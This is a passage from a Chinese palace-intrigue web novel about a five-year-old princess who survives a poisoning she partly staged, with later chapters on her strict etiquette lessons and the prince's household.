皇帝看着床上毫无生机的小奶团子,一张脸比锅底还黑,顿时侧头看向值守的小太医,虎目不怒而威:“还杵在那做什么?昭华到底如何?” 直面天子龙威的小太医扑通一声跪在地上,声音都带着一丝哭腔:“皇上,微臣…微臣学艺不精,已经派人去请院首大人了。” 他话音刚落,院首老头这才姗姗来迟。 那头顶的乌纱都还是歪着的,足以可见他是真的用尽所有力气在赶路了。 “老臣…” “还臣什么臣,快来给昭华看看。” 皇帝一嗓子,直接打断他的话。 院首咽了口唾沫,赶紧上前。 先是掀开她的眼皮看了看,后又拿出银针,沾了点她的血放在鼻下闻了闻。 下一刻,院首脸色骤变,扑通一声朝皇帝跪下了:“皇上,昭华郡主所中,是鹤顶红啊皇上。” “你说什么?”皇帝满脸不可置信。 司徒澈猛的拽紧轮椅扶手。 咔嚓一声,扶手居然硬生生被他捏断。 院首吓得不轻,俯伏在地,撞着胆子重复自己的话:“回皇上,回璃王,昭华所中之毒为鹤顶红啊!” 司徒澈眼前一黑,喉间一股甜腥气直冲天灵盖,却被他死死的压住了。 即便还是有一丝血迹自他嘴角溢出。 皇帝隔了好久才找回自己的声音:“怎么…怎么中了鹤顶红?这到底是怎么回事?谁来告诉朕!” “父皇…”一旁的司徒安早就忍不住了,哭着说道:“是司徒谦,是司徒谦给郯哥下毒,昭华完全是为郯哥挡灾了呜呜~” 辰王一听这话居然是自家崽子做的,也惊得抬起头来:“小十一,你确定?” “我怎么会拿这种事胡说?”司徒安哭唧唧把事情复述了一遍。 司徒郯这个当事人垂着头,这次却没有为司徒谦辩解一句。 不管是不是司徒谦下的毒,毒都是出现在他的菜里,还连累了无辜的昭华,司徒谦怎么都脱不了关系。 司徒澈看着床上毫无生气的奶团子,薄唇紧抿,说出来的话冰冷无比:“父皇,儿臣无福,多年来膝下无一子,现在连唯一的女儿也要走了,以后…儿臣也真成了绝嗣之人…” “老七!你别难过,如果这事真是司徒谦做的,朕绝不饶他!” 皇帝看着最爱的儿子如此,心里也很酸楚。 其实抛却司徒澈不谈,他对唐蕊也很疼爱的。 这个奶团子,年纪小小,熟读四书五经,懂事又会看脸色,还很聪明。 可现在,她就躺在那,死气沉沉,眼看就活不成了。 皇帝老脸发黑,皇帝非常愤怒。 同样愤怒的还有辰王。 不等皇帝开口,他已经大步离开,把外面跪着的司徒谦给提了进来,往地上一扔:“给本王好好说,这毒到底是哪儿来的?” “我不知道,我不知道啊父王…呜呜呜…”司徒谦直到这个时候都还咬死了不认。 嬷嬷说了,他是皇子凤孙,只要他不认,没人能把他怎么样。 可要是认了,他就完了! 就在这时,一直没开口的顾楠聿淡声道:“皇上,各位王爷,此事就是司徒谦做的,他的随身小厮和奶嬷嬷都已招认。” 司徒谦闻言脸色骤变。 顾楠聿居高临下的看着他,嗤笑一声道:“捉贼拿脏,早在昭华毒发的时候,我就已经让人控制了你的小厮,又去辰王府找辰王妃拿了你的奶嬷嬷,你狡辩也无用。” 司徒谦瘫坐在地,哇的一声哭了出来:“对不起,对不起呜呜呜…我本来也没想给昭华下毒。是昭华,是昭华自己要吃鱼的,我本来都没想毒她。” “所以,你一开始想下毒的,是我?昭华真是为我挡了灾?” 司徒郯不可置信的看着他,脑子里的弦绷断了,上前一步抓着他怒声质问:“为什么?我待你不薄,你为什么要这么做?” “大哥呜呜呜…奶嬷嬷,奶嬷嬷说,我娘被父王厌弃了,你的身体也越来越好了,世子之位不会是我的了。只有你死了,我才能继续做世子,从小到大你那么疼我,我想要什么都会让给我,为什么就不把世子之位让给我呢?说来说去,还是怪你,哇呜呜呜…” 得,说到最后,反倒是司徒郯的不是了。 司徒郯就觉得非常荒谬,他对司徒谦的脑回路完全无法理解:“你搞清楚,我是嫡子,你是庶子,嫡庶尊卑分明,就算没有我,母妃还年轻,还能跟父王再生一个孩子,这世子之位怎么也落不到你头上啊!就为了这种不可能发生的事,你居然给我下毒,还连累了昭华!” 第84章 上苍眷顾,死而复生 如果是别的王爷,在没有嫡子的情况下,或许会让庶子上位。 可他的老爹辰王最重规矩,这种事怎么都不可能发生的。 哪怕他死了,辰王府的世子,也只会从他娘的肚子里出来。 这一点他无比肯定的! “昭华…父王…”司徒郯越说越难过,到底是孩子,无助的时候第一时间看向自己的老爹,哭了:“皇爷爷,父王,我真没想到会这样,早知道我就不该让昭华吃那盘鱼,比起世子之位,我更希望昭华活着,她还那么小,才五岁呜呜呜…” 孩子的哭声此起彼伏,司徒郯对昭华的兄妹之情,让人动容。 反观司徒谦就很让人气愤了。 王爷军团无一人吭声,就连平时喜欢犯贱的太子此时都沉默了。 辰王爱怜的揉了揉他的脑瓜子,再看司徒谦时,眼底只剩厌恶:“谋害郡主,其罪当诛!” 辰王转身,朝皇帝跪下了:“父皇,求您为昭华做主,儿臣以后就当没这个儿子。” 皇帝深深的凝视着他,确定他是认真的,这才沉声开口:“司徒谦,谋害当朝郡主,罪不可赦,但念其年幼,死罪可免活罪难逃。来人,将司徒谦从皇室除名,发配岭北。其母何氏,德行有亏,教子无方,与其一起发配岭北,其余犯事者,午门斩首示众!” 司徒谦闻言瞪大眼睛,不可置信的看着皇帝,连哭都忘了:“皇爷爷,您…您不要孙儿了吗?” 就算年纪再小,也知道从皇室除名是什么意思。 不要啊! 他可是王爷的孩子,天潢贵胄。 没了这层身份,他还有什么? “是你歹毒至极,谋害手足,不配姓司徒!” 皇帝面无表情的看了他一眼,疲惫的挥了挥手。 当即有太监进来把他拖了出去。 司徒谦哭疯了,不停挣扎起来,不停的说着自己错了。 可他现在认错又有什么用? 而且,任谁都看得出来,皇帝怜惜辰王子嗣单薄,已经法外开恩了。 不然司徒谦只有死路一条! 司徒澈握紧拳头,没有说什么。 只想着等司徒谦母子一离开京城,就除了他们,为唐蕊报仇。 伤害他的女儿,只是发配除名怎么够? 必须死! 看着床上小小的奶团,司徒澈垂下眼眸,紧握着她的手,眼眶也有些酸涩。 明明说过会护着她一辈子的,却让她夭折在五岁。 司徒澈不由得想起那个强迫他的女人唐娆,心里不停忏悔,他没照顾好蕊蕊… 对了! 还有神医谷啊! 别人解不了鹤顶红之毒,神医谷难道也不可以吗? 唐蕊留下了那么多药,就没有救命的药吗? 司徒澈一个激灵反应过来,正想抱着唐蕊回去找药的时候,床上的奶团子突然开始抽搐起来。 “蕊蕊,蕊蕊你怎么了?”司徒澈慌了,赶紧看向院首:“快来给她看看!” “是,是…”院首微微颤颤起身,刚走过来,就被唐蕊喷了一身。 院首都懵了! 唐蕊却趴着床沿开始狂吐。 “太医,太医,这到底是怎么回事?” 皇帝也好,几个王爷也罢,都被这一幕惊呆了。 院首终于反应过来,扶着唐蕊让她尽情吐,并让自己的徒弟拿了个盆来。 唐蕊这一吐没完没了,众人定睛一看,眼尾齐齐狂抽。 好家伙,吐出来的东西真是多啊! 还没消化完的鱼、鸡肉… 那一块暗红的皮儿?怎么看怎么像炖猪蹄儿。 唐蕊吐完,无力的躺了回去,茫然的视线一一从众人脸上略过,最后集中在司徒澈身上:“爹爹,怎么啦?” “你…没事?”司徒澈惊得无以复加。 这鹤顶红是假的吧? 皇帝指了指院首,院首也不顾自己一身的污秽,赶紧给唐蕊把脉。 良久,院首狠狠的松了一口气,恭敬朝各位大佬禀告:“皇上,各位王爷,郡主吉人自有天相,好像…已经没事了。” “没事?”太子愣住了:“她不是中了鹤顶红吗?刚刚你还说她没救了呢!这还没事?” “这…”院首也不知道什么情况啊,只能实话实说:“或许是郡主有上苍护佑吧,郡主是中了鹤顶红没错,但…郡主的身体很奇怪,这些毒好像并没有侵入五脏六腑,刚刚大多已经吐出来了,现在体内还剩一些余毒而已,只需调养,慢慢排除体外便是。” 啊这… 众人惊呆了,不可置信的看着床上那个奶团子。 唐蕊摸着后脑勺,不好意思的笑了笑:“皇爷爷,父王,各位王叔,你们这么看着我,我怪不好意思的哦!” 众人:“…”你还害羞上了? 吓死我们了不知道吗? 司徒澈看着死而复生的女儿,赶紧询问:“昭华,可还有哪里不舒服?” “就是肚子时不时一抽一抽的疼,想O粑粑,其他的没什么哦。” 唐蕊看着众人的神色,心里也很无奈。 她有个神医师傅,从小被各种草药泡着长大,是百毒不侵的,不然哪里敢玩蛊哦! 鹤顶红是毒,但对她而言也没什么大碍。 再说了,鹤顶红这毒是她自己下的,其实那盘鱼里的毒根本就不是鹤顶红,而是一种慢性毒药。 谁让司徒郯对司徒谦那个小白眼狼那么好,这样下去迟早会吃亏的。 她也是想好人做到底,帮司徒郯看清司徒谦的真面目,让他有所防范。 哪里想到会闹这么大哦! 不过话又说回来,鹤顶红对她来说没啥卵用,别人可不这么想啊! 得编个善意的谎言。 唐蕊眼珠子一转,软糯糯开始忽悠:“其实我刚刚有梦到一个很漂亮的姐姐哦,她让我好好历劫,还给了我次了一个大桃子,好好次哦,爹爹,那个桃子这么大,你也买给我次好不好?还有,历劫是什么意思哇?” 桃子? 姐姐? 历劫? 博览群书的睿王把这三个词联系起来,眼睛一亮,神色激动道:“西王母,一定是西王母,她给蕊蕊吃的肯定是蟠桃!” 辰王才不信这些,瞪了他一眼:“子不语怪力乱神!” “什么怪力,那是神仙,真正的神仙啊!咱们父皇都还是天子呢,怎么就怪力乱神了?” 第85章 只想一家人好好的 睿王觉得自己着相了,再看唐蕊时,眼睛都在放光:“父皇,普通人中了鹤顶红怎么可能还活着?昭华肯定是下凡来历劫的仙女,搞不好还是王母娘娘的女儿呢!” 唐蕊:“…”五皇叔可真会脑补哇! 想是这么想,说可不能这么说! 唐蕊好奇的瞅着他:“五皇叔,我是仙女吗?” “肯定是,绝对是!”生怕有人反驳自己,睿王又赶紧求助皇帝:“父皇,昭华这样,难道还不算仙女吗?” 皇帝面色严肃,心里的小人却在摸着下巴注视着唐蕊。 别说,你还真别说! 唐蕊来了之后,司徒澈的状态越来越好了,隐隐可见大夏战神的风姿。 就连跟她走得近的司徒郯身体都好了起来。 还有顾楠聿,司徒安,连这两个混世小魔王也喜欢围着她转。 严肃的老三也对她赞不绝口! 难不成真是仙女下凡历劫? 唐蕊有些受不了大家的视线凝视了,捂着小肚肚扯了扯司徒澈的衣袖:“爹爹,我想O粑粑!” “好!爹爹带你去!” “你一个男人带什么带?” 皇帝不满的瞪了他一眼,招了个面熟的宫女:“你,伺候昭华出恭!” “至于其他人…”皇帝又看了看自家的儿子们:“没事就散了吧!一个个消息倒是灵通!” 王爷们:“…” 太子:“…” … 唐蕊在宫女的伺候下,别别扭扭疏解完。 宫里的恭桶都是镶金边的,不比小燕子的恭桶差。 就是身边还有几个宫女伺候着,有些不习惯! 也不知道这些宫女是不是信了仙女下凡历劫一说,一个个看她的目光…就很热情。 不知道的还以为这些宫女想热乎的。 唐蕊拉完几乎是第一时间想要出宫。 皇帝怜惜她才遭了罪,还给了她一些赏赐作为安抚,以及…太医院开的各种药。 司徒安、顾楠聿和司徒郯想跟她好好说说话,司徒澈却不给他们机会。 哦,准确来说,是不给顾楠聿机会。 这小子,以前看着挺顺眼的,自从赐婚圣旨下来,地位变成了准女婿,就不怎么顺眼了。 看一次就想打一次! 司徒澈不等他们靠近,就把唐蕊塞进了马车。 直到周围没了人,司徒澈才冷冷的看向唐蕊:“说说吧,到底怎么回事?别跟本王扯仙女下凡那一套,你觉得本王信吗?” 这个世上没有神魔,不然那些求神拜佛的人,为何还在受罪? 还有那些苦守边关的将士,是不是只要多拜拜神仙,就不会死了? 唐蕊嘿嘿一笑:“也没啥,就是我百毒不侵哇,见郯堂哥对谦哥那么好,我怕他吃亏,就想让郯堂哥看清谦哥的真面目。” 司徒澈闻言脸色一黑,抬手赏了她一个爆栗。 唐蕊捂着脑门泪眼汪汪:“爹爹,干嘛打我哦?” “你还说?”司徒澈是真的很生气,刚刚他也是真的以为,唐蕊要嘎了,还差点哭鼻子:“你一贯贪吃,别的也就算了,现在连毒药都馋,这个世上还有什么是你不敢吃的?” “有哦有哦!”唐蕊煞有其事认真回答:“我不吃蚕蛹,感觉很恶心。” 司徒澈:“…” 他这种级别的地位,哪里吃过炒蚕蛹那种东西。 不光是炒蚕蛹! 司徒澈斜睨了她一眼:“那老鼠,蛇,蛆,你都会吃?” “会哇会哇!”唐蕊猛点头,不知想到什么,开始流口水了:“爹爹我给你说,有一种叫竹蛆的,特别好吃。还有田鼠肉和蛇肉,其实营养价值非常高哦,还有还有…” “闭嘴!”司徒澈快吐了,把小奶团拎得离自己远了些:“本王不想听,以后你也不准吃那些奇奇怪怪的东西!” 蛆比起蚕蛹,好看得了多少? 觉得蚕蛹恶心?蛆虫就不恶心? 有病吗? 唐蕊同情的看着他,突然长长的叹了口气。 古代人的食谱就是那么匮乏! 也是,他们还没发展起来,文化底蕴不够。 对于种花家的人来说,什么食物都可以尝试一下的。 就算是过敏,多吃几次就不过敏了。 … 回到王府,秦芷嫣带着一群女人迎了上来。 看到完好无损活蹦乱跳的唐蕊,都狠狠的松了一口气。 秦芷嫣素来最疼唐蕊,得知她中毒的消息后就一直哭,现在眼睛都还是肿着的。 唐蕊花了好一番时间,才安抚好她,然后又跑去蹲号了。 开玩笑,鹤顶红呢! 还是得多拉拉,排毒排干净! 她倒是舒服了,司徒郯就很不舒服了,失魂落魄,就像是被打击了一样。 坐在马车里久久无言,好像是沉浸在自己的世界中。 辰王不忍心儿子这么难过,伸手拍了拍他的肩:“郯儿,还在为谦哥的事难过?” 司徒郯点点头:“儿子不懂,难道世子之位就那么重要,重要到可以连兄弟亲情都不顾么?” “…”这多正常啊! 生在皇家,这种事可以说是家常便饭。 就连现在的皇帝,他的老爹,都是夺位来着。 以前老爹也不是太子,但他最终做了皇帝。 儿子什么都好,就是被王妃保护得太过,心思单纯。 辰王知道现在说什么,儿子估计都听不进去,沉吟片刻只说了一句:“以前不懂,现在懂了也为时不晚,切记,生在皇家,对谁都要保持警惕之心。” 司徒郯皱眉道:“那父王,您和母妃呢?儿子也要警惕你们吗?” “是!”辰王毫不犹豫,面色冷硬:“你也读史书,历史中那些为了皇位父子相残,兄弟阋墙的事难道还少了?皇权之下皆蝼蚁,至高无上的权利与身份,谁不想要?” 司徒郯垂下眼眸:“儿子就不想要,儿子只想一家人好好的。” 辰王就知道会这样,只能换了种说法:“父王不是让你去争去抢,也不是说纯善不好。但是郯儿,对什么人都善良,最终不是伤害你自己,就是伤害你身边的人。就像这次的事,要不是昭华得上天眷顾,你就害死她了。” “对不起,父王……我也对不起昭华…”想起唐蕊,司徒郯心里就很难受,眼眶渐渐泛红。 第86章 爹爹终于要对我下毒手了么? 蕊蕊才五岁,那么可爱,对他那么好,还多给了他九年的生命让他尽孝。 可他最后没有照顾好她,还要她为自己挡灾! 他真是个不称职的哥哥,没有教好谦哥,也没保护好昭华! 司徒郯擦掉眼泪:“父王,过几天我想去看看昭华!” “想去就去吧,昭华对你有恩,这次也多亏她了,到时候让你母妃从库房拨些礼物带过去,别失了礼数!” “是!” 这一刻司徒郯在心里暗暗下定决心,这样的事,以后再也不会发生! 未来的未来,只要他活着一天,就会护着唐蕊一天! … 夜渐深! 唐蕊却没来秦芷嫣院儿里,窝在自己的翠微阁胡吃海喝。 “郡主,慢点,您慢点!”容嬷嬷见她满嘴是油,不停替她擦拭:“都是你的,没人跟你抢!” “我几道,就是饿!”在宫里吐了那么多,还拉得多,她肚子里存货都没了,不得补回来么? 不过… 容嬷嬷好奇:“郡主,怎么今儿个您不去陪王妃用膳了?” 以前唐蕊十次有八次都会去秦芷嫣那蹭饭,秦芷嫣也会做好大鱼大肉等着她。 可今天,秦芷嫣派人来请,唐蕊竟拒绝了。 唐蕊意味深长的笑了笑:“父王开荤了,今天可是母妃的好日子,我去凑什么热闹哦?” 开荤? 容嬷嬷隔了几秒才反应过来,这俩字是什么意思,顿时激动得无以复加:“郡主,您是说王爷…” “就是你想的那个意思!” 得到唐蕊肯定的话后,容嬷嬷喜极而泣:“王妃盼了多年,终于盼出头了。” 唐蕊:“…”理解也尊重,反正换成她自己,可不会这样! 她想的没错,司徒澈现在确实正在跟秦芷嫣干坏事。 只不过,司徒澈是个没经验的,第一次是被唐娆强了。 第二次是顾若雪主动,又黑灯瞎火的。 巧了,秦芷嫣未出嫁的时候爹不疼又没娘,容嬷嬷以为她会,就没人教过她。 两人窝在被窝里研究好久,硬是没研究出来,到底哪个切入口才是正确的。 最后为了避免失误,司徒澈干脆都光顾了一遍。 第二天唐蕊醒了过后,就听到下面的侍婢们的悄悄话,说是一晚上叫了七次水。 唐蕊:“…” 牛逼牛逼,一夜七次郎竟是她亲爹。 作为女儿,不该多打听老爹的房中事。 但唐蕊去找李庶妃商量店铺事的时候,却听到她在屋里跟自己的婢女哭。 说司徒澈宠幸了王妃,宠幸了顾侧妃,什么时候才能轮到她。 唐蕊可见不得‘霸总’哭鼻子,于是就写了个日程表献给司徒澈,望他采纳。 司徒澈看到宝贝女儿敬献的日程表,眼角直抽抽,气得拿着鸡毛禅子差点把她揍一顿。 这哪里还有个做女儿的样子? 这些事是她该担心的吗? 嬷嬷还是得安排上,不然这女儿以后得变成什么样? 于是,第二天正逢国学监沐休,正在呼呼大睡的唐蕊,天还没亮就被容嬷嬷叫醒了。 看了看外面黑漆漆的天空,唐蕊又懵逼的看向容嬷嬷:“嬷嬷,今天不是沐休么?” “是沐休,可王爷从宫里请了老嬷嬷来教您规矩。”说到这,容嬷嬷指着一旁面生的老嬷嬷给她介绍:“这位是元嬷嬷,她可是宫中的老人儿了,以前伺候过太后娘娘的!” 神马? 唐蕊顿时感觉天都塌了:“爹爹终于要对我下毒手了么?” 容嬷嬷:“…”这叫什么话? 一直没吭声的元嬷嬷皮笑肉不笑,浑浊的老眼挑剔的打量着唐蕊:“郡主,快些起身吧,别误了时辰。” “等,等哈哦,我去找爹爹问问。”唐蕊也顾不上睡觉了,立刻起床,简单的梳洗打扮一番后飞奔着去了司徒澈的书房。 她来时,司徒澈已经起了,站在院儿中。 多日不见的清风也回来了,也在他身边,似乎在跟他说着什么。 看到唐蕊,司徒澈抬了抬手。 清风秒懂,立刻闭嘴,朝唐蕊拱了拱手:“郡主!” “清风锅锅回来就好哈!”唐蕊这会没心思探究他在跟司徒澈说什么,啪嗒啪嗒跑到司徒澈面前,扬起脑瓜子,用一双湿漉漉的眼神瞅着他:“爹爹,你给我请嬷嬷啦?” 司徒澈点头:“你是皇室郡主,一言一行代表天家,理应好好学学规矩。” 唐蕊都快哭了:“不学行不行?我觉得我规矩很好哦!” 司徒澈呵呵:“好?好还会做那什么日程表?不像话!” “我也是关心庶母们哇,我有什么错?”唐蕊可不想让任何事来占用自己的休息时间,抱着司徒澈的腿继续输出:“爹爹,我再也不敢啦,把元嬷嬷请回去好不好?繁文缛节那么多,我也学不会哇!” 司徒澈见她这样子,心也软了,蹲下身安抚道:“昭华,梅花香自苦寒来,只要你坚持坚持,好好跟元嬷嬷学习,怎么会学不会呢?父王相信,你一定会成为合格的大家闺秀。” “胡说!”唐蕊小嘴一巴拉,又开始她的大道理:“什么梅花香自苦寒来?梅花香不香,和它历经苦寒并没有关系,梅花香是因为梅花本来就香。” 司徒澈:“…”居然无言以对! 唐蕊见他说不出来话,扯着他的裤管泪眼汪汪:“爹爹,我每天那么早就要起床去国学监,好不容易沐休,你还要让个嬷嬷来折磨我,你真的爱我吗?” 本来想算了的司徒澈听到这个爱字,又冷下心来:“没得商量,不好好跟元嬷嬷学习,以后膳食减半。” “…”你是后爹吧? “爹爹真讨厌,我再也不喜欢你啦!” 唐蕊眼见说不通,气呼呼的跑了。 清风担忧的看着她的背影,斟酌道:“王爷,郡主还小,不用逼得这么紧。再说了,那位以后…或许会带她走,去了南蛮,女子为大,她也不用学习这些东西。” 司徒澈斜睨了他一眼:“你以为本王请元嬷嬷来,只是教她规矩吗?” 清风不明所以:“那王爷还有别的意思?” 第87章 赤炼蛊 司徒澈叹息一声,这才说道:“元嬷嬷历经两朝,可不是普通的嬷嬷,昭华聪慧则以,却有些不知天高地厚,用她的话说,缺少一些政治敏感。本王让元嬷嬷来,教她规矩只是其次,还希望元嬷嬷能教她一些朝堂时势。这样,以后就算昭华回到了南蛮,想要坐那个位置,也不会太辛苦!” 连鹤顶红都敢吃。 就算百毒不侵又如何? 万一出现意外呢? 还有就是,司徒澈不希望她对司徒安和司徒郯太好。 皇家无亲情,他怕唐蕊以后吃亏。 清风懂了,笑着说道:“父母爱子,必为之计深远。王爷疼郡主,郡主日后会明白的。” “没所谓。”就算不明白也不要紧,他是唐蕊的生父,理应为她考虑。 司徒澈说到这,继续刚才的话题:“确定唐娆的身份了?” 清风点点头:“属下顺着手下收集到的消息,快马加鞭去了一趟北狄,唐娆公主…不…太女似乎知道属下是王爷的人,得到消息后自己就出现了,对属下也没有隐瞒。” 司徒澈:“…” 虽然早有猜测,但真的证实了,心情还是难免复杂。 第一次见唐娆的时,她女扮男装,易容成张姬爹的样子,躲在他的军营里,还贴了个大胡子,他一时间根本没看出她是女子。 而张姬的爹,却被她迷晕塞进了床底下,整整四天。 等到看出来的时候,就是中毒,被她强迫的时候。 本以为是羞辱,却不想是为了救他的命。 明明都自身难保了,还要救他,更是为他生下了唐蕊。 司徒澈抿了抿唇,还是问道:“她…近来可好?” “还行吧,她成了北狄太子妃,北狄皇室还有大多百姓,都被逍遥丸迷得找不着北了。” 说到这,清风想起什么,赶紧又道:“对了,她还托我转告王爷,救命之恩已还,待她处理好北狄的事,就会亲自来一趟大夏,望王爷到时候归还郡主以及…金蚕蛊…” “金蚕蛊本就是她的东西,理应归还。至于昭华,去留都随她自己的意愿,谁也别想主宰。” 司徒澈听到唐娆成了太子妃,复杂的心情又多了一丝酸涩感。 现在他自己都不知道,这种感觉是什么,有些不好受就是了。 至于救命之恩… 司徒澈皱眉道:“本王何时对她有救命之恩?” 清风笑道:“王爷您估计不记得了,当初咱们在边城巡逻,遇到了一个被乞丐们欺负的女乞丐,是王爷您路见不平,救了那个女乞丐,还把自己的大氅送给她遮身。” 司徒澈闻言恍然大悟:“原来是她…” 他就说,当初被强的时候,就觉得唐娆有点面熟。 可一时间又想不起在哪里见过了。 还好唐蕊没听到这些,不然指定会吐槽。 她的老爹从小到大,真是到处救人。 先是秦芷嫣,后是顾若雪,现在又多了个唐娆。 不过也从侧面说明,司徒澈这人着实不错,算得上真君子了。 明明是个男人,还是王爷之尊,却愿意怜悯、尊重女性。 “还有!”清风提起手里的笼子,里面的海东青惬意的趴着,豆豆眼斜睨着司徒澈:“王爷,这也是太女交给属下的,她说,您要是想联系她,可以让雪影送信。” 似乎在回应清风的话,笼子的海东青叫了一声,傲娇的点了点小脑袋。 司徒澈眼睛微亮:“它通人性?” 清风:“好像是,反正回来的路上,属下有时候跟它说话,它都会用鄙视的眼神看着属下。” 男人喜欢的东西无非就是那么几样,司徒澈也不例外。 见雪影如此聪慧,他试着伸出一根手指在笼子前晃了晃。 本以为雪影会啄他,没想到雪影送了他一记王之鄙视,又傲娇的别过头去。 司徒澈笑了:“不愧是她养的宠物,跟她挺像。” 当初他被强迫的时候,只能无能狂怒,用上了所有自己知道的各种词汇咒骂。 可每一句咒骂,都会换来唐娆的王之鄙视。 对,就跟这只海东青一样一样的。 “取纸笔来,本王试试。”司徒澈才不承认自己是想跟唐娆分享唐蕊的近况,他只是想试试这只畜生,是不是能把信送到。 … 同一时间,唐蕊失魂落魄的回到自己的翠微阁。 一抬眼就看到明月正蹲在她炼蛊的瓶瓶罐罐前,正在捣鼓着什么。 唐蕊瞬间把元嬷嬷忘到了天边,迈着小腿跑了过去:“明月,你干嘛啊?” 明月转过身来,手里还捏着一条幺指粗细的小蛇。 而他脚下的一个陶罐,已经碎了。 再看小蛇,被他死死的捏着脑袋,全身通红,鳞片在阳光的照射下熠熠生辉,非常漂亮。 看到唐蕊,小蛇似乎闻到了什么气味,两粒如红宝石般的豆豆眼里顿时盛满了委屈。 “哇,赤炼蛊!”唐蕊满心欢喜,跳着想去拿。 明月却赶紧举高了一些,表情严肃:“郡主,危险,它好像很毒!” “我当然知道,你给我,它不会伤害我哦!” “不行!” 明月才不信,又举高了一些:“属下这就把它处理掉!” “不准!”唐蕊急了:“明月,我说真的,赤炼蛊喝的我的血,会以我为主,它真不会伤害我。” 是吗? 明月狐疑的看了她一眼,最后决定:“那属下让它咬一口,它真咬了,属下就把它扔掉。” 说罢,他把自己的手指放在红色小蛇面前。 小蛇眼底划过一丝人性化的嫌弃,烦躁的别开视线,委屈巴巴的看着唐蕊。 明月惊呆了:“真不咬人?” “都给你说了,它会听我的话,我不让它咬人,它就不会咬!”唐蕊趁他不被,跳起来抢过赤炼蛊。 赤炼蛊乖乖的盘在她手腕上,头尾衔接。 不注意看,就像是一个流光溢彩的红色镯子。 唐蕊宝贝似的摸了摸小蛇的脑袋:“以后就叫你赤赤。” 赤赤依恋的蹭了蹭她的手腕,又保持手镯的姿势不动了。 “好乖哦!”唐蕊喜欢得不行。 明月这时却一步一步挪了过来:“郡主,我对你好不?” 第88章 小垃圾,你玩不起? 唐蕊点头:“当然好哇,怎么啦?” 得到她的肯定,明月立刻拔出长剑,吓得唐蕊后退好几步:“你干嘛?” 明月无辜脸:“我想让郡主,用我血,给我也制个同款。” “…”学我表情包就算了,你还学我的现代词汇。 唐蕊撇撇嘴,正想说什么,元嬷嬷的声音自身后传来:“郡主,时间不早了,我们还是赶紧开始吧!” 听到她的声音,唐蕊一张小脸顿时垮了下来,转头笑得比哭还难看:“元嬷嬷,要到饭点了哦,咱们要不吃完了再说?” “也好!”元嬷嬷倒是没为难她。 唐蕊还想着,这个元嬷嬷人还不错。 结果,等侍婢们上了早饭,唐蕊啃了一个大肉包子,刚想拿第二个的时候,元嬷嬷手持藤条,啪的一声打了下来。 唐蕊吓得缩回小手,不可置信的看着她:“元嬷嬷,怎么打我?” 元嬷嬷板着脸教训:“大夏女子以纤瘦为美,郡主才五岁,这体型已经超标了,以后要控制膳食,不可多吃。” 唐蕊闻言顿时感觉天都塌了:“元嬷嬷,没必要吧?我可是郡主,多吃一点怎么了?” 元嬷嬷面无表情脸:“郡主知道,府中的朱侧妃为何很少入宫吗?以前她是庶妃,这只是其中一个原因,主要原因还是因为吃得太多,导致肥胖,影响仪态和观感,若是去御前,皇上完全可以治你一个大不敬。” 唐蕊不服气反驳:“皇爷爷才不会因为这种事治我的罪,你别想唬我。” 元嬷嬷瞥了她一眼,意味深长道:“皇上仁德,疼爱郡主,或许舍不得,但别人呢?那些盯着璃王府的人,会不会拿这个去攻击璃王?” 一向能言善辩的唐蕊被噎住了。 元嬷嬷见她似乎听懂了,眼底划过一丝欣赏:“郡主确实如传言中那般聪慧,一点就通。俗话说得好,子不教父之过,郡主年纪尚小,大人不会跟你一般见识,但他们会攻击你的父母。郡主也不希望,有一天就因为体型问题,有人跑去皇上面前参璃王一本吧?若是参的人多了,就算皇上再疼爱郡主,也不得不依规矩办事。” “我…我知道了…”唐蕊这才想起来,古代好像确实有这么个规矩。 但是吧… 唐蕊泪眼汪汪:“元嬷嬷,就要控制,也要循序渐进啊,一个肉包子真的太少了,我可不可以再吃一个?” 元嬷嬷摇头,把一碗清粥推到她面前:“不够就喝这个。” 唐蕊:“…” 玛德! 天塌了! 不让她吃,不是要她的命吗? 唐蕊泪眼汪汪端起粥小口喝着。 一旁的容嬷嬷看着实在心疼。 于是,侍婢们撤下膳食的时候,她偷偷藏了一盘卤鸡腿,准备等元嬷嬷没看到的时候给唐蕊吃。 元嬷嬷看到了也当没看到。 主子愿意给她面子,她也不能逼得太狠! 不管何时,都不能忘记自己的身份! 唐蕊本以为元嬷嬷就是还珠格格里的容嬷嬷,来折磨她的。 但…实则不是。 元嬷嬷教得很认真,也会不时教她一些敏感的问题。 就是很苦逼! 唐蕊此时,真想捡一句还珠格格里小燕子说容嬷嬷的话。 走路要规矩,吃饭要规矩,就连笑都要规矩。 钱难挣屎难吃,看来不管是哪个阶层,都各有各的苦。 一天下来,唐蕊被虐得奄奄一息,肚子咕咕叫。 元嬷嬷也心满意足回宫去了,说下次国学监沐休再来。 唐蕊:“…”还好! 国学监休息两天,元嬷嬷没有把两天都占去。 第二天,唐蕊清清静静睡了个懒觉。 她依旧吃得多,但却记得元嬷嬷的话,努力克制自己,食量已经大幅度缩水了。 唐蕊苦逼,司徒澈也很苦逼。 虽然嘴上很生气唐蕊写的日程表,但他依旧在执行。 除去初一十五,府里女人每人一天,伺候完一圈后休息四五天。 于是接下来几天,司徒澈奔走于各个女人院里,努力‘耕种’,尽职尽责。 一圈下来后,府里的女人们一个个的像被滋润的花儿一样娇艳。 就连胖乎乎的朱庶妃,眉宇间都多了一丝风韵妩媚。 反观司徒澈,人前依旧严肃内敛。 背地里犹如霜打的茄子,彻底焉了。 最让他无语的是张庶妃,搞个事还把他的背抓得乱七八糟,一道道血痕纵横交错。 此时,司徒澈赤着上身趴在自己床上,清风正在给他后背上药,眼底却满是同情:“王爷辛苦了,今晚要去哪个女主子院里?属下这就去安排!” “去个屁!”司徒澈都爆粗口了,扯过衣裳穿上,一张脸漆黑:“今天本王休息,你去跟王妃说一句,以后璃王府不再入任何侍妾。别人要是说她善妒,就让那人来找本王!” 清风:“哦…” 明月则是用一种鄙夷的眼神看着司徒澈。 皇上那么大年纪,后宫都还三千佳丽呢! 你呢? 就伺候五个,就不行了? 司徒澈察觉他的眼神,气得抓过枕头砸了过去:“给本王滚去照顾昭华!” 明月吓得一个闪身跑了。 小垃圾,你玩不起? … 日子一天天过着,父女俩都水深火热,转眼就到了十二月。 温和的清风里夹杂着冷冽,气温骤然下降! 距离大夏千里之外的北狄,早已下起鹅毛大雪。 北狄皇宫! 暖炉青烟袅袅,雍容华贵,相貌艳丽的女子端坐在高位。 她身着华丽,纤纤素手里拿着一张纸条,唇角微微上翘,与唐蕊相似的美目流转,满是温柔。 “太子…”外面传来婢女的声音。 